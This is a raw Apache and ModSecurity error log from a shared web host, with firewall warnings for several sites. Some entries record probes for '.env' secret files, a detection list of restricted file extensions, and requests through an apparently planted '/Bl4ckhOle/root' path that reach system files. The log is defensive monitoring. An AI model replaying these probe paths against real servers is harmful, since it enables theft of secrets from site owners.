[Fri Jul 17 08:46:25.918008 2026] [security2:error] [pid 2014256:tid 2014256] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.stanthonys.biz"] [uri "/.env.development"] [unique_id "almeiYZvbo7N5o5zeYC9KwAAABw"]
[Fri Jul 17 08:46:25.918298 2026] [security2:error] [pid 2014256:tid 2014256] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.stanthonys.biz"] [uri "/.env.development"] [unique_id "almeiYZvbo7N5o5zeYC9KwAAABw"]
[Fri Jul 17 08:46:26.124902 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:46:26.266964 2026] [security2:error] [pid 2013809:tid 2013809] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.stanthonys.biz"] [uri "/index.php"] [unique_id "almeiEgVnBK6wAv37w6rAAAAABQ"]
[Fri Jul 17 08:46:26.385639 2026] [security2:error] [pid 1993668:tid 1993668] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.stanthonys.biz"] [uri "/.env.backup"] [unique_id "almeihAi3pC6yjXGNq1_UAAAAAU"]
[Fri Jul 17 08:46:26.385877 2026] [security2:error] [pid 1993668:tid 1993668] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.stanthonys.biz"] [uri "/.env.backup"] [unique_id "almeihAi3pC6yjXGNq1_UAAAAAU"]
[Fri Jul 17 08:46:26.386154 2026] [security2:error] [pid 1993668:tid 1993668] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.stanthonys.biz"] [uri "/.env.backup"] [unique_id "almeihAi3pC6yjXGNq1_UAAAAAU"]
[Fri Jul 17 08:46:26.524134 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:52062] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:46:26.653460 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/pdf/Circulars/2010-06-07/TETANUS CIRCULAR.pdf"] [unique_id "almeig7FYe46zHK_jL3OWwAAABk"]
[Fri Jul 17 08:46:26.653815 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/pdf/Circulars/2010-06-07/TETANUS CIRCULAR.pdf"] [unique_id "almeig7FYe46zHK_jL3OWwAAABk"]
[Fri Jul 17 08:46:26.654089 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/pdf/Circulars/2010-06-07/TETANUS CIRCULAR.pdf"] [unique_id "almeig7FYe46zHK_jL3OWwAAABk"]
[Fri Jul 17 08:46:27.050929 2026] [security2:error] [pid 2018768:tid 2018768] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.stanthonys.biz"] [uri "/index.php"] [unique_id "almeiFCBpfuYyhJ140vRUQAAAB4"]
[Fri Jul 17 08:46:27.751369 2026] [security2:error] [pid 2018764:tid 2018764] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.stanthonys.biz"] [uri "/index.php"] [unique_id "almeiVseBYnnE2UYU1j6AQAAABY"]
[Fri Jul 17 08:46:28.252194 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:46:28.560969 2026] [security2:error] [pid 1993574:tid 1993574] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.stanthonys.biz"] [uri "/index.php"] [unique_id "almeid0t9Kb_MdNxrg7BEwAAAAM"]
[Fri Jul 17 08:46:28.673756 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:46:28.956543 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:52154] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:46:29.281314 2026] [security2:error] [pid 2018764:tid 2018764] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/news"] [unique_id "almejVseBYnnE2UYU1j6AwAAABY"]
[Fri Jul 17 08:46:29.282230 2026] [security2:error] [pid 2018764:tid 2018764] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/news"] [unique_id "almejVseBYnnE2UYU1j6AwAAABY"]
[Fri Jul 17 08:46:29.282666 2026] [security2:error] [pid 2018764:tid 2018764] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/news"] [unique_id "almejVseBYnnE2UYU1j6AwAAABY"]
[Fri Jul 17 08:46:29.341469 2026] [security2:error] [pid 2014256:tid 2014256] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.stanthonys.biz"] [uri "/index.php"] [unique_id "almeiYZvbo7N5o5zeYC9KwAAABw"]
[Fri Jul 17 08:46:30.160470 2026] [security2:error] [pid 1993668:tid 1993668] [client 2a09:bac1:7680:460::5e:89:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.stanthonys.biz"] [uri "/index.php"] [unique_id "almeihAi3pC6yjXGNq1_UAAAAAU"]
[Fri Jul 17 08:46:30.854538 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:52236] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:46:31.015634 2026] [ssl:error] [pid 2018767:tid 2018767] (70014)End of file found: [client 66.85.158.91:52252] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:46:31.118258 2026] [ssl:error] [pid 2018764:tid 2018764] (70014)End of file found: [client 66.85.158.91:52254] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:46:31.462724 2026] [mime:warn] [pid 2018758:tid 2018758] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:46:34.905865 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:42600] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:46:36.540271 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:42670] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:46:37.370939 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:46:37.430946 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:46:37.711504 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:42724] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:46:39.607435 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:46:39.624565 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:42816] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:46:42.022095 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:56562] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:46:42.055808 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:46:42.086556 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 47.79.10.95:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/fs/cgroup/memory/system.slice/home-cagefs\\x2dskeleton-run-systemd-journal-dev\\x2dlog.cagefs.mount/memory.pressure_level
[Fri Jul 17 08:46:44.130226 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 57.141.18.115:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory37/subsystem/devices/memory54/subsystem/devices/memory116/node0/cpu2/crash_notes
[Fri Jul 17 08:46:46.251191 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:56702] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:46:46.655031 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:56730] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:46:46.778852 2026] [security2:error] [pid 2018758:tid 2018758] [client 85.208.96.206:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/usr/lib/tmpfiles.d/plesk-lmlib.conf"] [unique_id "almenoRpm5MObcED3Q9rtgAAABE"]
[Fri Jul 17 08:46:46.779443 2026] [security2:error] [pid 2018758:tid 2018758] [client 85.208.96.206:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/usr/lib/tmpfiles.d/plesk-lmlib.conf"] [unique_id "almenoRpm5MObcED3Q9rtgAAABE"]
[Fri Jul 17 08:46:46.808913 2026] [security2:error] [pid 2018758:tid 2018758] [client 85.208.96.206:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/usr/lib/tmpfiles.d/plesk-lmlib.conf"] [unique_id "almenoRpm5MObcED3Q9rtgAAABE"]
[Fri Jul 17 08:46:47.721320 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:56750] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:46:49.976539 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:46:50.823355 2026] [ssl:error] [pid 2018770:tid 2018770] (5)Input/output error: [client 66.85.158.91:56850] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:46:54.610533 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:60784] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:46:57.722883 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:60922] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:47:00.099185 2026] [mime:warn] [pid 2018764:tid 2018764] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:01.559298 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:01.969970 2026] [mime:warn] [pid 2018758:tid 2018758] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:03.386124 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:34616] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:47:04.981528 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:05.560276 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 57.141.18.86:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory113/subsystem/devices/memory59/subsystem/devices/memory116/node0/memory87/node0/memory128/subsystem/uevent
[Fri Jul 17 08:47:06.979036 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:34818] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:47:07.478726 2026] [mime:warn] [pid 2018758:tid 2018758] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:07.858811 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:09.160240 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:34908] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:47:09.692448 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:09.984721 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:10.404415 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:34966] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:47:11.690933 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:15.199528 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 57.141.18.57:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory142/node0/memory20/node0/memory102/node0/memory51/subsystem/drivers_probe
[Fri Jul 17 08:47:15.826363 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:17.322540 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:18.146752 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:41488] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:47:19.396885 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:20.024110 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:20.449035 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:21.981005 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:51140] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:47:23.538034 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:51226] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:47:23.598991 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:25.422384 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:51320] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:47:26.250082 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:51364] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:47:29.777722 2026] [security2:error] [pid 1996894:tid 1996894] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/backup/img/events.png"] [unique_id "almeyY4Wmn5zySdNNkAnKQAAABM"]
[Fri Jul 17 08:47:29.778213 2026] [security2:error] [pid 1996894:tid 1996894] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/backup/img/events.png"] [unique_id "almeyY4Wmn5zySdNNkAnKQAAABM"]
[Fri Jul 17 08:47:29.808234 2026] [security2:error] [pid 1996894:tid 1996894] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/backup/img/events.png"] [unique_id "almeyY4Wmn5zySdNNkAnKQAAABM"]
[Fri Jul 17 08:47:30.245154 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:51612] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:47:33.013293 2026] [ssl:error] [pid 2018758:tid 2018758] (70014)End of file found: [client 66.85.158.91:42168] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:47:33.851235 2026] [security2:error] [pid 2018757:tid 2018757] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almezUkXT4NBqALj2lZ7mQAAABA"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1216&page_105=2187
[Fri Jul 17 08:47:33.851271 2026] [security2:error] [pid 2018757:tid 2018757] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almezUkXT4NBqALj2lZ7mQAAABA"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1216&page_105=2187
[Fri Jul 17 08:47:34.121299 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:42200] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:47:34.491529 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:42218] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:47:34.989817 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:35.721501 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:42290] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:47:37.031914 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:37.090789 2026] [mime:warn] [pid 2023579:tid 2023579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:40.026234 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:41.174933 2026] [mime:warn] [pid 2018758:tid 2018758] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:42.504368 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
